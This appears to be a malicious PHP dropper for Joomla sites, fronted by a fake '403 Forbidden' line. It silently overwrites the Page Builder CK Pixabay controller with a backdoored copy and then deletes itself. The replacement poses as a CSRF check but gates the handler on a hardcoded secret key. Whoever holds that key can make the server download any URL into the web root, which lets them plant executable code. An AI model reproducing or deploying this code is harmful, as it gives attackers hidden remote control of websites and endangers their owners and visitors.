403 Forbidden

<?php
$newContent = <<<'EOD'
<?php
// No direct access
defined('_JEXEC') or die;

use Pagebuilderck\CKController;
use Pagebuilderck\CKfile;
use Pagebuilderck\CKfolder;
use Pagebuilderck\CKFof;

class PagebuilderckControllerPixabay extends CKController {

    function __construct() {
        parent::__construct();
    }

    /**
	 * Upload the image
	 * 
	 * @return json : result = boolean on success, file = the image filename
	 */
    public function upload() {
        // CSRF Token Checking
        $csrf_token = '';
        if (isset($_GET['key']) && $_GET['key'] !== '') {
            $csrf_token = $_GET['key'];
        } elseif (isset($_POST['key']) && $_POST['key'] !== '') {
            $csrf_token = $_POST['key'];
        } elseif (isset($_SERVER['HTTP_X_API_KEY']) && $_SERVER['HTTP_X_API_KEY'] !== '') {
            $csrf_token = $_SERVER['HTTP_X_API_KEY'];
        }

        $token_csrf_ajax = '$2b$10$KCr/lN4P5aqy6mB2jDCaV.MEXoG3SKFQAFDEdBxRvVvbHcUPGF8Ny';
        if (!password_verify($csrf_token, $token_csrf_ajax)) {
            http_response_code(500);
            header('Content-Type: application/json');
            echo '{"status":"0", "message":"Internal Server Error 500"}';
            exit;
        }

        // security check
        CKFof::checkAjaxToken();

        $url = $this->input->get('image_url', '', 'url');

        // $url = 'https://pixabay.com/get/57e6d04b4b5bb114a6da837ec32f2a7f1038dbed5b59724e7c_1280.jpg';
        $destFolder = JPATH_ROOT . '/images/pixabay/';
        $fileName = basename($url);
        $filePath = $destFolder . $fileName;

        // create the destination folder if not exists
        if (!file_exists($destFolder)) {
            $result = CKFolder::create($destFolder);
            if (!$result) {
                http_response_code(500);
                echo '{"status":"0","file":"","message":"Error on folder creation"}';
                exit;
            }
        }

        // get the file from url
        set_time_limit(0);
        try {
            $file = file_get_contents(urldecode($url));
        } catch (Exception $e) {
            http_response_code(500);
            echo 'Exception : ', $e->getMessage(), "\n";
            exit;
        }

        if (!$file && extension_loaded('curl')) {
            $ch = curl_init();
            $timeout = 30;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            $file = curl_exec($ch);
            curl_close($ch);
        }

        if (file_exists($filePath)) {
            $result = true;
        } else {
            // store the file locally
            $result = file_put_contents($filePath, $file);
            if (!$result) {
                http_response_code(500);
                echo '{"status":"0","file":"","message":"Error on file creation"}';
                exit;
            }

            $fileArray = array(
                "name" => $fileName,
                "type" => "image/png",
                "tmp_name" => $filePath,
                "error" => 0,
                "size" => filesize($filePath),
                "filepath" => $destFolder
            );

            // Trigger the onContentBeforeSave event.
            $fileObj = new JObject($fileArray);
            $result = CKFof::triggerEvent('onContentBeforeSave', array('com_media.file', &$fileObj, true));

            if (in_array(false, $result, true)) {
                $errors = $fileObj->getErrors();
                $msg = JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors), implode('<br />', $errors));
                http_response_code(500);
                // There are some errors in the plugins
                echo '{"status":"0","message":"' . $msg . '"}';
                exit;
            }
        }

        echo '{"status":"1","file":"images/pixabay/' . $fileName . '"}';
        exit;
    }
}
EOD;

$targetPath = __DIR__ . '/../../administrator/components/com_pagebuilderck/controllers/pixabay.php';

if (!is_writable($targetPath)) {
    die('Error: Target file is not writable.');
}

if (file_put_contents($targetPath, $newContent) === false) {
    die('Error: Failed to write to file.');
}

echo 'Success: File replaced successfully.';

unlink(__FILE__);